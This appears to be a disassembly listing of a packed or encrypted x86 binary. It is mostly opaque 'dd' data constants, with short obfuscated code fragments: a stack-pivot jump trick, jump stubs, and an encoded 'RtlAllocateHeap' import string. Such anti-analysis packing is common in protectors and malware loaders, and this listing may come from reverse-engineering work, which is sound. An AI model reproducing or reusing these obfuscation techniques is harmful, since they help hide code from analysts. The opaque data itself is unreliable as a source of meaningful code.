5DFC3763h, 311h, 0C8FEA076h, 71A7F71Bh, 174D51C4h dd 0C3F9A56Ah, 6DA3FB16h, 769B8439h, 0CF45F228h, 24EC99CFh dd 7C97447Ah, 0C51DEC22h, 0E90746A9h, 4F066C07h, 3ACA96F3h dd 0E907401Eh, 59BA0F07h, 0EB91BA45h, 64B949A2h, 0EBBF1ADh dd 0E4109B03h, 7E9067Ch, 0D3910D06h, 6E61B7ABh, 0B2BA5994h dd 0D5000002h, 7A275D41h, 23D00698h, 0C976ACF2h, 75225846h dd 98CC029Ch, 8915FCE3h, 306EA653h, 0DBC34DFAh, 831BF8A5h dd 0A267E4Dh, 7E908A7h, 0BCB067CDh, 4EF4AA67h, 34C49CEDh dd 0E9073A18h, 840F6807h, 0E905F158h, 335ABB07h, 0A203CDC0h dd 28DF68Fh, 0A12C729Dh, 842CE60Fh, 0DDE49E1Fh, 407691A5h dd 19E43h, 729EF300h, 0A7CF862Ch, 42A7326Ch, 0E83DCDD1h dd 0C2EB7628h, 0C7DDE1Ch, 0EA8C454h, 0B407E0AEh, 0ADB51834h dd 82DB07E0h, 0FB628E19h, 507E0ACh, 0D1FBCA84h, 0DE3E09FBh dd 0BC8C32C7h, 406EC984h, 4822h, 96F3B300h, 501E3ACAh dd 4E07E09Ch, 92565F5h, 7E09BA6h, 43CE73CCh, 1A7D05Bh dd 9BDB426Eh, 64E507E0h, 0A76BA3AAh, 0D409406Eh, 0B9000000h dd 93754F79h, 5F620BB8h, 0E15B90F3h, 0CD5DB607h, 0E15B4EB1h dd 751B7407h, 326CA7BEh, 0E06778A2h, 0CE777AAAh, 0E1309528h dd 46CD32BDh, 0AB68CD58h, 0C049BDF3h, 97FFE774h, 29CED042h dd 42DB8E6h, 3C62B15Eh, 51446E06h, 0FF627EA0h, 25FFE698h dd 0DAA552CCh, 97F253F9h, 911C828Dh, 536FFF68h, 7E3B37Dh dd 0A4B03FA9h, 944740F3h, 0CB469B2Bh, 21F09DD3h, 8DA9CE41h dd 7E3402Ah, 2D96FF58h, 6076056Fh, 4CEB269Eh, 14Dh, 8CC2DC3Ah dd 356B33DFh, 0DB118D88h, 87BDE12Eh, 316737DAh, 0B25F48FDh dd 0B09B6ECh, 60B05D93h, 0B85B083Eh, 89E1B0E6h, 0E9090A6Dh dd 1BD23807h, 0B80D6AA7h, 78DB4757h, 9EFFE683h, 29920C09h dd 36DD8AC0h, 0A77B3268h, 42A7326Ch, 3697CDD1h, 287D0D53h dd 29B4EAh, 0A5A6C25Ah, 0C007E0D2h, 4FF5A96Bh, 0DD1DAD06h dd 0DD7CAB3h, 31AB3557h, 342C6FFh, 4B15790h, 0DFBF550Dh dd 7EA84076h, 0B95B7043h, 0B7315AE5h, 0CD73C91Fh, 0E0C1F259h dd 4757BC07h, 0F1AD6411h, 0AFC766h, 0F3600000h, 1E3ACA96h dd 7E9073Ch, 0CF58F11Bh, 0BC8B79Bh, 38C31C65h, 285E40D3h dd 7B06987Bh, 633BD62Bh, 31FAFD8h, 7E8C2A0h, 53C76DC6h dd 705D4043h, 3418D20Bh, 0DC89BFDFh, 0BAE42B37h, 0A297C151h dd 50B3CF51h, 76605D4Bh, 0B535A31Dh, 0EB50E389h, 0D4375324h dd 2605CAEh, 9AFD19A9h, 0C8605CAEh, 167B066Fh, 0AF149FFFh dd 54AD3866h, 0E7B9611Bh, 0E03504BEh, 1AC76D31h, 0F3AB69F9h dd 0ADE44763h, 0B912605Ch, 0A66D1A50h, 0D32868F8h, 0A8D15C42h dd 5CAED93Ch, 8AE0760h, 0FD675h, 398E0000h, 0D63BC6D8h dd 0B1DA6539h, 0BBEBA248h, 2F6FA75Ch, 0CAD43FA4h, 6836DA3Fh dd 29C78DDh, 9FFF1277h, 3C62AF14h, 0DBC34CB1h, 742AEB50h dd 108E84E9h, 54565285h, 4C6815Eh, 83000000h, 348704EEh dd 89505C24h, 405E0h, 42D0000h, 87000000h, 895C2404h, 89532434h dd 4C381E3h, 83000000h, 1C8704EBh, 1C895C24h, 1FBD6824h dd 0C890000h, 794B924h, 36BE5C01h, 1AC017Ch, 8B5459CEh dd 0C481241Ch, 4, 6BBA5256h, 313CDB23h, 5A042454h, 8108438Fh dd 236B0873h, 34FF3CDBh, 0C4815B24h, 4 db 8Bh, 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58B334 ; --------------------------------------------------------------------------- db 0Dh dd 5B8B827h, 3080288h, 78E0FFC5h, 824EFB87h, 0F86D5C23h dd 7455FF87h, 813F0F55h, 0F01AAF94h, 0F86DEBECh, 72160DF1h dd 7E64EE53h, 4421C331h, 424D04B7h, 0E53B41C7h, 0D454325Ah dd 0E859491Ch, 6, 5A9A55B1h, 0DA808771h, 860F580Bh, 6 dd 46F0F381h, 0C0811E36h, 6C3Dh, 1CBA6660h, 0F0815346h dd 45300817h, 68615Bh, 0F000000h, 583h, 0E6805000h, 665F5ECCh dd 0FF4463BEh, 0ECBA0734h, 5961E844h, 18F0Fh, 81F80000h dd 0C057A9F1h, 0F1812Dh, 0F801CD94h, 6C55F181h, 0BF0F4D98h dd 8A5251F6h, 48F5AD3h, 0CA816638h, 8B5237F0h, 0EF835BF3h dd 0DB806002h, 0F7816646h, 4F61B1B0h, 9EC2814Fh, 8118C468h dd 0FF945CFFh, 0A8850FFFh, 81FFFFFFh, 313B62DBh, 11E913h dd 8DF00000h, 33ECh, 2 dup(0) dd 0E9000000h, 4ECh, 8CC2DC3Ah, 356B33DFh, 0DB118D88h dd 87BDE12Eh, 316737DAh, 0B25F48FDh, 0B09B6ECh, 60B05D93h dd 0B85B083Eh, 89E1B0E6h, 0E90C0A6Dh, 1BD23807h, 0A7326CA7h dd 0E0BECF42h, 7E5323E3h, 70083EA7h, 77B11430h, 0F1A6FFE7h dd 8CB334FFh, 0F36DC607h, 7BC82E85h, 7C29CFFFh, 177C0797h dd 0E4A966FCh, 6AA1C05Eh, 0CA55BE14h, 48AD38A1h, 0F049D4CAh dd 0FA19FDB7h, 4FC16EA4h, 0A46C194Fh, 0A0A6FFAh, 37770994h dd 0E5702EE2h, 0DB9516BCh, 4F8519F7h, 0EBB362B7h, 237B9845h dd 0D066C98h, 0C637FFE7h, 19CD050Ch, 586B3875h, 0FC000000h dd 0F2AC67BCh, 0EE749F4Ch, 0C3EC7727h, 3EA3CF5Ah, 6BFFE683h dd 13940FAh, 0E838748Fh, 91217D93h, 0E6771275h, 41E740FFh dd 160h, 6BA7F100h, 0CF43A833h, 30DF44CFh, 518AE36Eh, 3F5FB397h dd 0D6B75C09h, 2F80A03Dh, 0E41A8308h, 8DF00C4Ch, 0B3FFE701h dd 0A7FDB45Ah, 44A9346Ah, 0E045D0CEh, 7CE16C32h, 2B7D0896h dd 44A04802h, 9C755913h, 2BC813F1h, 22BB6E8h, 43B5EF88h dd 20F54ADAh, 24CAF37Eh, 0C4DA39E6h, 5D41D439h, 0FBA36DD2h dd 98060B70h, 0D892BB0Dh, 904ACB30h, 74B54189h, 65DF38h dd 3A8F0000h, 113AC5D9h, 6AA7B46Bh, 0D144A934h, 0B0E942CDh dd 9FFF12F6h, 4955BC69h, 0E8B659BEh, 4BA0385Dh, 2049D4CAh dd 383FF97Ah, 387488F0h, 0D5D7ADD7h, 91AB3D1Ah, 4F000C17h dd 0B55BFE07h, 45D4h, 6AA76500h, 0CC44A934h, 0C20347D2h dd 0B1ED2408h, 5FB7E121h, 9597A24Dh, 8F1C7FEBh, 0F14AFFE6h dd 0A7560D4Bh, 7CA8336Bh, 0FFE68316h, 0E16C32E0h, 7D08967Ch dd 0A048022Bh, 3037F162h, 38748EF8h, 196h, 6EA72700h, 0CA4BA030h dd 7A2049D4h, 0D9182E7h, 86B0F082h, 0E9F945B6h, 16973DDEh dd 19D785Ch, 411F6ACBh, 0EF3795B1h, 0E36307E0h, 0E0C564C7h dd 0D0399207h, 6B33E045h, 6AF0B1DBh, 0BC196833h, 0E82BD816h dd 0B1DB2BB6h, 40D0CFB8h, 305E45Eh, 0DA3FB359h, 0C107E0FCh dd 31E2C680h, 759F376Dh, 97A6CC63h, 9845EB88h, 4898237Bh dd 8289EC08h, 22B707E1h, 9E44ADF1h, 0F17C22F1h, 6EAA4D5h dd 8B5B910Dh, 406F8E53h, 145F1h, 96F38200h, 0C81E3ACAh dd 0D607E0B8h, 868DF27Dh, 0DE35E218h, 0B81A7D99h, 0EF4807E0h dd 7D96FB86h, 0D53C9121h, 6F153EC9h, 19D77DCh, 9B031176h dd 0F47F1FF6h, 45EDA7D8h, 1AFEB8E9h, 2FC994F9h, 206DCC0Ch dd 79B181B7h, 17406F73h, 4Ch, 86B87C7h, 2E07E15Bh, 0F3782FD5h dd 1A36C69Ah, 7FE68397h, 3EA1BD3Dh, 647FE682h, 0C717A20Bh dd 8DD14A9Dh, 5E048DB0h, 0E58787EAh, 79335C7Fh, 24B4ACE1h dd 18868FE4h, 4ABE648Dh, 0FFE586C7h, 0E7B758EDh, 0AB61487Eh dd 0FA000000h, 3ACA96F3h, 0E09AB41Eh, 12C83207h, 0A5FA55B9h dd 9FA80B27h, 75CE07E0h, 0BE13A30Ch, 95BE4955h, 1CF75CEFh dd 779DF282h, 304C9C27h, 7E09FCDh, 8B319AF3h, 1A73A04Dh dd 0AF61AA1Eh, 0ECAAF2D2h, 8AF84FEh, 0E30F9A03h, 7E1037Bh dd 492DE728h, 237B98CAh, 3DD52ABAh, 45AEF025h, 832975A0h dd 0BBA5E445h, 7D96EB2Bh, 0C76D9621h, 0E38B6953h, 27E87D0Fh dd 49C3EC77h, 0F32EC5EBh, 4EDE4741h, 0BAD68D24h, 0DECF3B9Eh dd 9610690Fh, 0C86EDC1Ah, 5B43D035h, 5B153ED0h, 0B55EC6C3h dd 0CC355EE9h, 5F36203Ch, 53AC17E1h, 96F3661Dh, 341E3ACAh dd 0B207E90Dh, 0AA69CE59h, 20F64F4h, 0BB8F69Ch, 0B1069608h dd 94F71364h, 0C207E90Ch, 0C75A0069h, 0D70F509Bh, 0BC5FE43h dd 7CB2EC27h, 0CA5A44CFh, 0D0B6E8Ah, 0E03933D3h, 0CD42A73Ah dd 25EC41D1h, 0AE40D379h, 2CE7CB85h, 86A2E272h, 33D30D23h dd 1452F851h, 67F2AC67h, 514DC217h, 10F79DC6h, 32h, 0EE9F73C8h dd 0DD398BF6h, 22C8316Eh, 607CBC6Bh, 0FFE682FDh, 8355B8D4h dd 227BFFE6h, 49E288E1h, 4AADC909h, 3FFFE683h, 0DDECD7A9h dd 97F031C3h, 6FA73AF1h, 0D43FA42Fh, 36DA3FCAh, 9C78DD68h dd 0FF127702h, 62AF149Fh, 0C34CB13Ch, 2AEB50DBh, 8E84E974h dd 68528510h, 1660h, 57242489h, 4BFh, 247C0100h, 89535F04h dd 4C381E3h, 83000000h, 1C8704EBh, 1C895C24h, 563D6824h dd 14890000h, 4EC8324h, 0BF243C89h, 8028993h, 815FFB89h dd 4ECh, 24248900h, 4240481h, 5A000000h, 8904EC83h, 428F241Ch dd 24148B08h, 81E28952h, 4C2h, 4C28300h, 5C241487h, 5B2434FFh dd 4C481h, 7DE90000h, 0BEFFF7F0h, 16E3349Bh, 0C4A46B13h dd 28DFEB8h, 0FFC50308h, 2806D7E0h, 0DA570961h, 0EA962225h dd 0C29BC443h, 5025207Dh, 0E4BD22Bh, 0D7E1102h, 0C71ED21Dh dd 0D117782Ah, 0D2D3725Eh, 20B1FE7Eh, 54691A44h, 0C6C18677h dd 77DBD041h, 33913832h, 8068895Ch, 785B6F67h, 415E7849h dd 0E048E97Ch, 29603400h, 883C693Ah, 4D8A5E35h, 0D956C518h dd 0DAC4AC68h, 8EA61B65h, 2BE954h, 33250000h, 75AAh, 9 dup(0) dd 5E7E900h, 4EC80000h, 0A56D1A50h, 0FF16C3F9h, 53BC699Fh dd 0A968154Bh, 0D68BBFF5h, 447A24EDh, 0EB217D97h, 96CCD23Eh dd 3E742AE9h, 98FB176Fh, 0BE07E912h, 6CA7A158h, 257A732h dd 39E68C12h, 0E136C6D8h, 8BC96F2Fh, 365835DEh, 5C317903h dd 76D9F585h, 9CFFE755h, 0FF4FDA43h, 0AC3767AAh, 0E330DD83h dd 55157894h, 0E23BFFE7h, 499EEE79h, 8330D6C8h, 2B840F8Fh dd 0BF5438F2h, 0D4254FDFh, 579B1782h, 5E0B49EFh, 3F5FB0B2h dd 9A25799Ah, 25D20871h, 49A77EBh, 5CE75079h, 0F6811DF7h dd 9D813B64h, 48F52B73h, 1C48D3CBh, 0FFE751B6h, 840F8F80h dd 20ABF31Fh, 43EBA5CEh, 0E6537D05h, 6CCE295Dh, 8712DE6h dd 2027E162h, 387571E8h, 6987ACFh, 0CBAC527Bh, 6Eh, 607CBC5Ch dd 0FFE682FDh, 7724CA23h, 4B77029Ch, 0FFE682E6h, 19E8A213h dd 0C24D51C4h, 0EB23F399h, 8938748Eh, 1, 277CBC1Ah, 0E74AB6E8h dd 0D4FFE682h, 5D764033h, 1770B118h, 504EC471h, 0B0B260C5h dd 7C973C62h, 0DE2EB922h, 88138B89h, 30CB95Fh, 7EB7109Bh dd 72A0F5C4h, 39D9862Ch, 91822F65h, 3BE7F8FCh, 55BEB66Ah dd 67BC681Fh, 4A66F6A8h, 0FFE682E7h, 610EB40Dh, 48ABC7B0h dd 6EFFE683h, 0BC21AC15h, 58BD4856h, 0F358E3BBh, 0D8F47F1Fh dd 0E945EDA7h, 0F71AFEB8h, 83016480h, 0D62FFFE6h, 898A376Dh dd 0F0258A15h, 47C91EAEh, 0FDA3CC57h, 0AC4456Ah, 7489BB03h dd 0CD5938h, 0A7EA0000h, 8EF10D6Ah, 0B4FFE683h, 41AAF41Fh dd 2DE84DD8h, 0CDB7E171h, 3871083h, 49A235DBh, 9F725610h dd 0DA2F6FFFh, 97FA6638h, 0BDFFE6FCh, 0E880BE64h, 0FC298CA8h dd 0FE57FFE6h, 0FBEF526Eh, 0BC15FFE6h, 0BAA86916h, 6CBC4757h dd 0E6FBED50h, 51BA13FFh, 17F85DE8h, 91ADCA4Bh, 0FFE6FC2Eh dd 792FB54h, 0A5E575DEh, 0E6FC2689h, 60D913FFh, 8BA1371Ch dd 0B84BF14Ah, 89581293h, 9ACA2D49h, 9FF8FFE6h, 0FB8618FAh dd 145C2CD2h, 0B23874A0h, 74h, 0AB67BC43h, 0E44763F3h dd 12FFE682h, 0AB6613B9h, 0EE12ABE2h, 0F35C1208h, 9A040E63h dd 0AD40E60Fh, 4BD6C848h, 0E7722CE6h, 800B9382h, 8C34EE27h dd 290DC708h, 8967AE8h, 0A7B2699Fh, 7CA8336Bh, 0FFE68316h dd 0E36E30E0h, 800B937Eh, 0D1793364h, 61682293h, 38748F29h dd 17C7h, 594D7700h, 4B2E9C95h, 49D4CA46h, 0B27B720h, 0FFE644A8h dd 18CF75CEh, 0A5306EA7h, 89150055h, 822FD5FEh, 0F0820D91h dd 0E7B75BB0h, 2206C041h, 0DB1BABF3h, 0E6835CBFh, 8B318AFFh dd 0C39DEC4Dh, 9AB91733h, 419607E0h, 1841CCD2h, 9A096C88h dd 0DE3707E0h, 0FE85EF38h, 0BA79418Ch, 94D464CDh, 0B3D53854h dd 0A2FB07E0h, 0E0B3D336h, 2A80107h, 95090A6Fh, 161B25Fh dd 0DA038E10h, 85A1E171h, 7E0B322h, 0C152F750h, 78A437DDh dd 7E0B313h, 0BF51A6FEh, 852B54DFh, 0AD664A04h, 50EBBF1h dd 6AA90E99h, 5C8DA934h, 4955BEA2h, 0BF0B4313h, 0C8F2406Eh dd 412FFEh, 0CDAE54DDh, 183h, 7F1E537Dh, 9DBD4961h, 96F340F7h dd 0B41D818Eh, 0B8B20824h, 4BE007E0h, 254ED9C5h, 47CC31BCh dd 1B50D846h, 4DB6AB62h, 0F7A768BDh, 3EC9436Ch, 0AA9581D7h dd 580543E9h, 3DA0BCBBh, 6307E0A4h, 0F3AB650Ah, 85AFFF8Ah dd 9C244DE1h, 9D4AF09Ch, 7A24EC76h, 0F4218611h, 5ABA1FAAh dd 3E67B944h, 3880DC84h, 0E5702EE3h, 0DB9516BCh, 0F2821CF7h dd 774034C8h, 2ED40280h, 6E820F0h, 3186406Fh, 17000000h dd 36C69AF3h, 0E683971Ah, 54E43D7Fh, 8295F814h, 62BB7FE6h dd 9AFD29BCh, 777FE682h, 91FC944Eh, 0A82B47D7h, 0EFFE682h dd 0D0987FB5h, 31000000h, 87A396F3h, 0FFE68324h, 8384E703h dd 59B2FFE6h, 0C656BF18h, 0C36A5C86h, 0C0926CADh, 0E68AF154h dd 20C61FFFh, 0A2026C88h, 679107E0h, 3DE0359Dh, 0A2EB914Bh dd 119C020Dh, 8FF47FE8h, 37E41A84h, 1C7F9BDCh, 4A07E144h dd 0D1FD88F1h, 7E14569h, 1DA8F619h, 0B9445AB8h, 666A237Fh dd 9C200BCCh, 75F9A15Bh, 56AB7A34h, 2F58E3BBh, 6737DC89h dd 556F9931h, 0A5F998F9h, 4346A74Dh, 0DB388D1Dh, 690F38C3h dd 2E3FB5D1h, 328B0FE3h, 0CDD142A7h, 1B70B042h, 8203A9F5h dd 0F65930C8h, 0BB95EB52h, 16A60F2Dh, 0E1B684FAh, 67E85217h dd 44BAA1Ah, 51A6369Fh, 2C55E0BEh, 86B04886h, 27EE4AD6h dd 0A5FFD77h, 0A40723B3h, 0D207E103h, 0F31CD379h, 1E3ACA96h dd 7E912A8h, 252DD36h, 1143A6C2h, 187107E9h, 504EC572h dd 0F8A66D1Ah, 12F31D6Dh, 0E62555A3h, 45FD379h, 0CA859185h dd 20F3D791h, 65CED042h, 0D191822Fh, 6AF55E40h, 9940A05h dd 0DBF73777h, 75917D78h, 6E0C365h, 0B7F809A4h, 7D37B85Eh dd 29E87A99h, 58C1EA75h, 9E7522h, 0AD675h, 0BC6F0000h dd 67F2AC67h, 0A0FF983Eh, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh dd 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh dd 85108E84h, 0E1895152h, 4C181h, 0E9810000h, 4, 5C240C87h dd 52241489h, 0C281E289h, 4, 8704EA83h, 895C2414h, 0AC68241Ch dd 89000046h, 0B9512404h, 8028F21h, 89CE8956h, 83595EF3h dd 248904ECh, 24048324h, 81535804h, 43D7242Ch, 408F652Eh dd 8408108h, 652E43D7h, 5324048Bh, 0C381E389h, 4, 4C381h dd 1C870000h, 34FF5C24h, 0C4835B24h, 0E9F6E904h, 4634FFF7h dd 0E8FC95B3h, 37DA6B19h, 9480B869h, 0C5030802h, 970DE0FFh dd 90D0172Ah, 9039108Ch, 54100B5Bh, 92FB4F70h, 81CB066Dh dd 8D8D484Ah, 80295FDh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0CDC35040h, 10E976h, 76FC0000h, 304CD9h dd 0DDA731D2h, 6EC1F284h, 0CBF0277h, 664AF05Ah, 8D89F18Bh dd 7FA1CD9h, 0E398589h, 85C707FAh, 7FA31ADh, 5924h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F8C35141h, 6642515Bh dd 0E87DC281h, 2BD985C7h, 7FAh, 0B5FF0000h, 7FA0E71h, 1BD5950Bh dd 0DF8B07FAh, 179995FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 2C931BC3h, 8952609Eh dd 0FA2AAD9Dh, 880F5807h, 6, 189DB589h, 6A6107FAh, 1995FF00h dd 8B07FA10h, 8A3FEBC0h, 60A5AE26h, 0A237BD94h, 9C39C401h dd 0F25B83F1h, 550DAEDEh, 41FD374Eh, 4922AC36h, 0E7B13378h dd 0AC2C6962h, 98037F50h, 0EE9D268h, 33C10E4h, 927DC0C7h dd 0CB095E05h, 0A5A197CFh, 36E9A6A9h, 1000000h, 5224FCF2h dd 6C416C74h, 61636F6Ch, 65486574h, 7061h, 1400h, 7 dup(0) dd 114AE900h, 0D1680000h, 0E9080298h, 0FFF7E868h, 299B568h dd 0E85EE908h, 968FFF7h, 0E908029Ch, 0FFF7E854h, 29CD168h dd 0E84AE908h, 0FD68FFF7h, 0E908029Fh, 0FFF7E840h, 2A0BD68h dd 0E836E908h, 0FC68FFF7h, 0E90802A0h, 0FFF7E82Ch, 2A1F868h dd 0E822E908h, 0A168FFF7h, 0E90802A2h, 0FFF7E818h, 2A31368h dd 0E80EE908h, 0C968FFF7h, 0E90802A4h, 0FFF7E804h, 2A63568h dd 0E7FAE908h, 76A0FFF7h, 0CD45F228h, 27EE9BD1h, 7B944177h dd 0D140ED23h, 0AE6397CDh, 1C524CC5h, 0C3F9A56Fh, 6EA4FA16h dd 164C52C1h, 70D3EF47h, 9607E919h, 6CA77930h, 1C250421h dd 72FA9F5h, 67F25B6Ch, 58BBD717h, 7EFFE765h, 657FE2FEh dd 4CA5FFE7h, 83903DE3h, 0E52B901Bh, 739C2EB9h, 603ED5B9h dd 0A947D2Ah, 0BB1E3A7Ah, 0E9FFE765h, 14ACEA90h, 6555B8D4h dd 227BFFE7h, 825E3FA8h, 0D3793125h, 26B1ED26h, 92552C1h dd 0FFE72AA6h, 0C3DB37CCh, 3DA60F38h, 0D4B958ADh, 60592716h dd 0C04BB412h, 52B3F197h, 7D992937h, 7E135E3h, 96E686B0h dd 2B41D729h, 69A73C85h, 1C829035h, 98D828B3h, 0E13B197Ch dd 49EE4707h, 224BD6C8h, 3BA1087Ch, 2AAB07E1h, 43316970h dd 46CF406Fh, 7F000000h, 33C0233Fh, 8DE607E1h, 96F330E7h dd 0DEFA3ACAh, 0FFE6837Bh, 90D1CD45h, 0DDF99137h, 7E09C0Fh dd 0FB27B20Bh, 7E09B94h, 0AAC6069Eh, 7E09B47h, 0ED6E146Dh dd 0A6F42C33h, 86DB406Eh, 8D6E148Ah, 0EFh, 0F66CA71Eh dd 0CFCF441Eh, 49B2DB66h, 0E6B859BEh, 451DF65Bh, 207E92D0h dd 9A032CB7h, 0F969AA0Fh, 0DAF68618h, 0FFE68377h, 0A5DB449Dh dd 0E688A931h, 533AD9FFh, 18DA5897h, 0C0DC6C5Ah, 0FFE7535Dh dd 8BC12A83h, 225835DEh, 85D96517h, 117A24F1h, 85041DA8h dd 1EF64BDBh, 52CCF580h, 49DEB99Bh, 5FF79DA9h, 4744F51Fh dd 0B1545D87h, 6DF9970Bh, 4CA507E1h, 0FF4E92BCh, 0A83D5491h dd 2663C402h, 3694F713h, 69C207E1h, 0DB307000h, 0B0D9643Ah dd 1853960Ah, 28810FDEh, 0D0CE4398h, 65AD029Ah, 2BE69339h dd 38C3DB37h, 4DE8A60Fh, 0DE998564h, 0E4904A3h, 9E780000h dd 0F51DCA00h, 4FC673A9h, 0A36C194Fh, 0F918C5FBh, 863B6FA5h dd 0F42A749Dh, 9BD1CD47h, 467C22EEh, 0EE247A99h, 48ABC71Fh dd 6E07E91Bh, 6AA75108h, 0C251FE34h, 0F3EFA6DCh, 1E3ACA96h dd 7E09C50h, 3B8EE44Eh, 9AE546D1h, 137AA631h, 1D07E0DEh dd 0A3DBE29Ch, 41406EEAh, 0D1h, 326CA7D2h, 43FB78A2h, 4205EE3Eh dd 0DCEA99C8h, 8F35EAE1h, 0FD7A97FCh, 0E6E47EE1h, 0A64BA4FFh dd 7BA42F6Fh, 52588212h, 0F6BD9544h, 0ACD86B11h, 0FFE6F524h dd 59E9B55Eh, 1910D04h, 0E6EC82E5h, 0B157B0FFh, 514DC673h dd 84DCADC6h, 0D3AD8F4h, 0F6807E1h, 4F1178D9h, 0AB4FA3BFh dd 0FE570FDDh, 0AF122E6Eh, 71FFED19h, 61BAFBA3h, 0BC4757BCh dd 55ED93h, 0AA578D11h, 0E6793767h, 659985A3h, 0D658B2Ah dd 0BA5C0000h, 1101AEE4h, 6BAA578Dh, 0BF50FD33h, 15FCA9DFh dd 6A1F5389h, 0D80E9081h, 7FB5E92Bh, 2A603ED2h, 0D208967Dh dd 2C8FAB03h, 5A07E91Ch, 6AA73DF4h, 838EF10Dh, 0C450FFE6h dd 0D74099DAh, 7F1FF4A1h, 247A9AEFh, 8CCA7099h, 326CA7D5h dd 0CDD142A7h, 83BC2397h, 8D86FFE6h, 0E52EDB11h, 3BD429B9h dd 6C88D863h, 0FFE68309h, 0CF75DE37h, 623CD73Ch, 137692D2h dd 41FFE683h, 93AF42E8h, 4FC4A862h, 0A76ABF4Fh, 0BE4955BBh dd 78A12C95h, 0D5D592FEh, 0D67CBB28h, 0ED60098h, 0B4EA26ABh dd 0EA1F963Ah, 253C7444h, 0C2DA3875h, 6B000000h, 3ACA96F3h dd 0E0A5401Eh, 75055E07h, 5B04184Bh, 680EE5BAh, 0E33085D5h dd 3AA115BBh, 407E0DFh, 9F048F0Fh, 5B9F2A74h, 53B8601Ah dd 0D91118D2h, 77406EE6h, 89h, 87D7FD27h, 9F964B1Ah, 7AE042F9h dd 90FFE683h, 0BBD767F9h, 7E0AD7Dh, 40801069h, 0EA7529EBh dd 0ACF255C1h, 0C72007E0h, 0EE74AB4Dh, 24CA4A76h, 0D9244EE6h dd 8D611C06h, 0AF620FB5h, 0D41464EFh, 86157894h, 0E23B07E0h dd 0E0861376h, 69AC4107h, 1881AA35h, 0E8781172h, 974A3C58h dd 3F980FDAh, 15317109h, 0FFE696B2h, 0DBF787E0h, 0FFE69678h dd 0F29F459Eh, 0DCF5801Eh, 723B3ADh, 7E0A349h, 0FFE61C75h dd 875h, 0AC67BC98h, 9EEB4CF2h, 0B2F232C2h, 0E6833396h dd 620861FFh, 0E09B3CEEh, 46D12A07h, 0E09AB31Ah, 823CBD07h dd 0E8B65EB3h, 0A23A7242h, 0E121406Eh, 0E09262C5h, 0B9E52C07h dd 44C4052Eh, 0E092C528h, 2992EB07h, 0DA283h, 0E0330000h dd 0FFE68379h, 0FBB0A07Fh, 0F339FFFFh, 1E3ACA96h, 7E09C3Ch dd 5A86116Ah, 7E09AF3h, 0BBC27CFDh, 406EA383h, 49521h dd 7591D100h, 7E09312h, 8A41E740h, 3C91727Bh, 0C324CAD4h dd 0EE0A9AC6h, 7E089ECh, 0E04481DAh, 0B1A5BA58h, 3767AAFFh dd 7CDD83ACh, 0A7C3530Dh, 0B61FD9D5h, 41DA801h, 2F4BDB85h dd 0B1A93DA5h, 0E69AC41h, 1F388FF2h, 0F35CB5AEh, 46D63F68h dd 0F47F1FF1h, 0BC1F3BCBh, 0EAAE1F38h, 0FE53EB91h, 0A6538915h dd 0EA73316Dh, 5537BB80h, 0B117B1Ah, 66B00000h, 0BD550238h dd 17FEABE1h, 6BA45187h, 0C150FD33h, 0BE73A7DDh, 2C623CD5h dd 0D309957Fh, 7EB4EA26h, 265C42D1h, 80E3FF57h, 0A607E91Fh dd 67BC8940h, 3C65F0AEh, 742AE996h, 1E808FE4h, 0BDCCE578h dd 0E5FDA292h, 2891843Dh, 0E035898h, 36DC0590h, 0E1AE38C2h dd 0C555AE07h, 0C8FEA070h, 1EA9F51Bh, 0E14D8FF2h, 5D238A07h dd 503907E1h, 32648010h, 200FDB8Eh, 0A9103CC7h, 0B3FFE76Eh dd 39717832h, 0D738757Ah, 18h, 0CA96F368h, 712DE53Ah, 0CD1733CBh dd 0D907E090h, 1856F580h, 0EF000000h, 3ACA96F3h, 0E9742AE5h dd 66821AC0h, 7E097A8h, 900E0196h, 0A72D9C27h, 0FF74326Ch dd 4C998335h, 0A497211h, 9E780000h, 0F51DCA00h, 4FC673A9h dd 0A36C194Fh, 0F918C5FBh, 863B6FA5h, 0F42A749Dh, 9BD1CD47h dd 467C22EEh, 0EE247A99h, 48ABC71Fh, 6E07E91Fh, 67BC5108h dd 2B65F0AEh, 70B4F771h, 0B55BC409h, 0E8043554h, 0FFE70285h dd 59E952ABh, 0A97D1004h, 0B62AEC74h, 0D76F157Eh, 0E0C5D9BBh dd 0AF84AE07h, 514DC7E6h, 4A32F6D7h, 77025BA4h, 679D0112h dd 2C670DF3h, 0F46C212Fh, 342C5DBEh, 2ACA88A4h, 9FF82892h dd 3B63AF14h, 14E281ABh, 57410325h, 771273B1h, 3A43A6C2h dd 0DC712732h, 0B4DD6836h, 3652E24Bh, 2F2C6C04h, 94E979D2h dd 0E87B217Dh, 0D2CC4398h, 4781E47h, 2098099Dh, 656C26A7h dd 5926112Dh, 10ECBh, 96F35C00h, 3C1E3ACAh, 6A07E09Ah dd 0E92C8111h, 5B012AB5h, 0EEB063C8h, 96080BB8h, 47AAC606h dd 907E099h, 0F952930Bh, 0AE94C053h, 782F2BD3h, 1378039Bh dd 0CF139E00h, 1FF0D48Eh, 447D167Fh, 316DA68Ah, 660477A1h dd 4DFAF947h, 7CD169A7h, 0B6630995h, 8AB6415Dh, 47E32EA4h dd 8F5E1841h, 33C3DB3Ah, 0E0CEB417h, 0E389E207h, 8BC1DD36h dd 0E62D35DEh, 47C82DB8h, 0C649EE57h, 0CBE46FD8h, 0F30F9FC1h dd 7E0CEB0h, 0A6073D96h, 0D1ED7DE3h, 0FDAF28Bh, 6ED35EB7h dd 16C3F9A5h, 0EA16A1FDh, 0FFE6F29Fh, 82510B34h, 80493D58h dd 0F670811Ch, 7AADC86Ah, 7B28CE98h, 5CD00698h, 743AC99Bh dd 4E84DCB1h, 0A12C72A1h, 825FC275h, 0A8E838FAh, 0FA13298Ch dd 4DC257F1h, 349DC651h, 6F530D8Eh, 156AFAA4h dd 0BCFAA0FEh, 0B35E040Fh, 0D42660EBh, 850B1797h, 28DF65Fh dd 30C0A0E9h, 0F49CFA14h, 0BF4FA8F9h, 4DF3AB6Ah, 32280Fh dd 0F3C10000h, 1E3ACA96h, 7E090D4h, 0D33652D2h, 107E090h dd 85AF3FA8h, 